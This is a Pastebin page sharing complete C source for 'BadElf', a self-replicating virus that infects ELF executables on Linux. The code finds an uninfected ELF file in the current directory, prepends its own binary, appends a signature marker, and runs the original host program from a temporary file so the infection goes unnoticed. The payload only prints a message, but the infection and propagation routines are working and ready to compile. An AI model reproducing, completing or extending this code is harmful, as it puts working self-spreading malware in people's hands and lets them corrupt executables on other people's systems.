Advertisement
FlyFar

BadElf - An ELF Virus - Source Code

Jul 4th, 2023
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.29 KB | Cybersecurity | 0 0
  1. #include <stdio.h>          // for basic IO
  2. #include <dirent.h>         // for directories
  3. #include <stdbool.h>        // macros for boolean data type
  4. #include <sys/stat.h>       // structure of data returned by *stat().
  5. #include <sys/sendfile.h>   // for sendfile()
  6. #include <sys/wait.h>       // for waitpid()
  7. #include <fcntl.h>          // for file control operations
  8. #include <unistd.h>     // for close()
  9.  
  10. #define SIGNATURE 4033
  11. #define SIZE 14056
  12. #define PAYLOAD_MESSAGE "Hello! This is a simple virus!"
  13. #define TEMP_FILENAME ".tempFile"
  14.  
  15. void executeSomethingBad();
  16. char* getCleanHostFile(int self_inode);
  17. bool isOriginalVirus(int vfd);
  18. bool isELF(char* fileName);
  19. bool isClean(char* fileName);
  20. void infectHostFile(char* hostFileName, int vfd);
  21. void appendSignature(int vfd, char* fileName, mode_t mode, int size);
  22. void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]);
  23.  
  24. void main(int argc, char *argv[]) {
  25.     int vfd = open(argv[0], O_RDONLY);
  26.     struct stat st;
  27.     fstat(vfd, &st);
  28.  
  29.     executeSomethingBad();
  30.    
  31.     char* cleanHostName = getCleanHostFile(st.st_ino);
  32.     if(cleanHostName != NULL)
  33.         infectHostFile(cleanHostName, vfd);
  34.          
  35.  
  36.     if(isOriginalVirus(vfd))
  37.         appendSignature(vfd, argv[0], st.st_mode, st.st_size);
  38.     else
  39.         executeHostPart(vfd, st.st_mode, st.st_size, argv);
  40.  
  41.     close(vfd);
  42. }
  43.  
  44. /**
  45.  * Execute malacious script
  46.  */
  47. void executeSomethingBad() {
  48.     puts(PAYLOAD_MESSAGE);
  49. }
  50.  
  51. /**
  52.  * Returns true if this file has only the virus code
  53.  */
  54. bool isOriginalVirus(int vfd) {
  55.     return SIZE == lseek(vfd, 0, SEEK_END);
  56. }
  57.  
  58. /**
  59.  * Gets an ELF file's name that is not yet infected in the current working directory.
  60.  * If no such files are found, NULL is returned
  61.  */
  62. char* getCleanHostFile(int self_inode) {
  63.     struct stat st;
  64.     DIR *dir = opendir("./");
  65.     struct dirent *dp;
  66.     while((dp = readdir(dir)) != NULL){
  67.         stat(dp->d_name, &st);
  68.         if(st.st_ino == self_inode) continue;   // Don't infect self
  69.         if(isELF(dp->d_name) && isClean(dp->d_name)){
  70.             closedir(dir);
  71.             return dp->d_name;
  72.         }
  73.     }
  74.  
  75.     closedir(dir);
  76.     return NULL;
  77. }
  78.  
  79. /**
  80.  * Returns true if the file's format is ELF
  81.  * (Executeable and Linkable Format)
  82.  * ELF files have the first four bytes as
  83.  * {0x7f, 'E', 'L', 'F'}.
  84.  */
  85. bool isELF(char* fileName) {
  86.     if(fileName[0] == '.') return false;
  87.  
  88.     int hfd = open(fileName, O_RDONLY);
  89.     char header[4];
  90.     read(hfd, header, 4);
  91.     close(hfd);
  92.  
  93.     return header[0] == 0x7f
  94.         && header[1] == 'E'
  95.         && header[2] == 'L'
  96.         && header[3] == 'F';
  97. }
  98.  
  99. /**
  100.  * Returns true if the file has not been infected yet
  101.  * by checking the last few bytes of the file
  102.  */
  103. bool isClean(char* fileName) {
  104.     int signature;
  105.     int fd = open(fileName, O_RDONLY);
  106.     lseek(fd, -1 * sizeof(signature), SEEK_END);
  107.     read(fd, &signature, sizeof(signature));
  108.     close(fd);
  109.     return signature != SIGNATURE;
  110. }
  111.  
  112. /**
  113.  * Infect host file by creating a temporary file;
  114.  * appending the virus/infected file, clean ELF host, and signature;
  115.  * and replacing the host file with the temporary file.
  116.  */
  117. void infectHostFile(char* hostFileName, int vfd) {
  118.     int hfd = open(hostFileName, O_RDONLY);
  119.     struct stat st;
  120.     fstat(hfd, &st);
  121.     int hostSize = st.st_size;
  122.  
  123.     int signature = SIGNATURE;
  124.    
  125.     int tfd = creat(TEMP_FILENAME, st.st_mode);
  126.     // Virus->Host->Signature
  127.     sendfile(tfd, vfd, NULL, SIZE);
  128.     sendfile(tfd, hfd, NULL, hostSize);
  129.     write(tfd, &signature, sizeof(signature));
  130.  
  131.     rename(TEMP_FILENAME, hostFileName);
  132.  
  133.     close(tfd);
  134.     close(hfd);
  135. }
  136.  
  137. /**
  138.  * Append signature to the virus
  139.  */
  140. void appendSignature(int vfd, char* fileName, mode_t mode, int size) {
  141.     int tfd = creat(TEMP_FILENAME, mode);
  142.     int signature = SIGNATURE;
  143.     lseek(vfd, 0, SEEK_SET);
  144.     sendfile(tfd, vfd, NULL, size);
  145.     write(tfd, &signature, sizeof(signature));
  146.     close(tfd);
  147.     rename(TEMP_FILENAME, fileName);
  148. }
  149.  
  150. /**
  151.  * Execute the original host program inside this object file
  152.  */
  153. void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
  154.     int tfd = creat(TEMP_FILENAME, mode);
  155.  
  156.     lseek(vfd, SIZE, SEEK_SET);
  157.     int signatureSize = sizeof(SIGNATURE);
  158.     int hostSize = totalSize - SIZE - signatureSize;
  159.     sendfile(tfd, vfd, NULL, hostSize);
  160.     close(tfd);
  161.  
  162.     pid_t pid = fork();        
  163.     if(pid == 0) {         
  164.         execv(TEMP_FILENAME, argv);
  165.     }
  166.     else{                  
  167.         waitpid(pid, NULL, 0);     
  168.         unlink(TEMP_FILENAME);
  169.     }
  170. }
Tags: virus Elf
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement